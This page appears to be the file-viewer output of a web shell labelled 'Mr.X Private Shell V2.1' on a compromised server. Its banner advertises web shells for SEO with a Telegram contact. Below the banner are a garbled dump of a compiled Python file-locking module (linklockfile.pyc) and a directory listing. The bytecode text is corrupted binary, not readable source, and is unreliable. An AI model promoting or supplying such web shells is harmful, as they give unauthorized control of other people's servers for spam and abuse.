__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
3
�Pf\
� @ sP d dl mZ d dlZd dlZddlmZmZmZmZm Z m
Z
G dd� de�Z dS )� )�absolute_importN� )�LockBase�
LockFailed� NotLocked� NotMyLock� LockTimeout�
AlreadyLockedc @ s: e Zd ZdZd
dd�Zdd� Zdd� Zd d
� Zd d � ZdS )� LinkLockFilez�Lock access to a file using atomic property of link(2).
>>> lock = LinkLockFile('somefile')
>>> lock = LinkLockFile('somefile', threaded=False)
Nc C s" yt | jd�j� W n" tk
r6 td| j ��Y nX |d k rD|n| j}tj� }|d k rj|dkrj||7 }x�ytj| j| j � W n� t
k
�r tj | j�j }|dkr�d S |d k r�tj� |kr�tj
| j� |dkr�td| j ��ntd| j ��tj|d k �r
|d �p d� Y qlX d S qlW d S ) N�wbzfailed to create %sr � z&Timeout waiting to acquire lock for %sz%s is already locked�
g�������?)�open� unique_name�close�IOErrorr �timeout�time�os�link� lock_file�OSError�stat�st_nlink�unlinkr �pathr Zsleep)�selfr Zend_timeZnlinks� r �"/usr/lib/python3.6/linklockfile.py�acquire s0
$zLinkLockFile.acquirec C sP | j � std| j ��n tjj| j�s4td| j ��tj| j� tj| j� d S )Nz%s is not lockedz%s is locked, but not by me) � is_lockedr r r �existsr r r r )r r r r �release7 s zLinkLockFile.releasec C s t jj| j�S )N)r r r! r )r r r r r ? s zLinkLockFile.is_lockedc C s( | j � o&tjj| j�o&tj| j�jdkS )Nr )r r r r! r r r )r r r r � i_am_lockingB s zLinkLockFile.i_am_lockingc C s t jj| j�rt j| j� d S )N)r r r! r r )r r r r �
break_lockG s zLinkLockFile.break_lock)N) �__name__�
__module__� __qualname__�__doc__r r" r r# r$ r r r r r
s
&r
) Z
__future__r r r � r r r r r r r
r r r r �<module> s | Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __init__.cpython-36.opt-1.pyc | File | 9.6 KB | 0644 |
|
| __init__.cpython-36.pyc | File | 9.6 KB | 0644 |
|
| linklockfile.cpython-36.opt-1.pyc | File | 2.16 KB | 0644 |
|
| linklockfile.cpython-36.pyc | File | 2.16 KB | 0644 |
|
| mkdirlockfile.cpython-36.opt-1.pyc | File | 2.51 KB | 0644 |
|
| mkdirlockfile.cpython-36.pyc | File | 2.51 KB | 0644 |
|
| pidlockfile.cpython-36.opt-1.pyc | File | 4.66 KB | 0644 |
|
| pidlockfile.cpython-36.pyc | File | 4.66 KB | 0644 |
|
| sqlitelockfile.cpython-36.opt-1.pyc | File | 3.58 KB | 0644 |
|
| sqlitelockfile.cpython-36.pyc | File | 3.58 KB | 0644 |
|
| symlinklockfile.cpython-36.opt-1.pyc | File | 2.04 KB | 0644 |
|
| symlinklockfile.cpython-36.pyc | File | 2.04 KB | 0644 |
|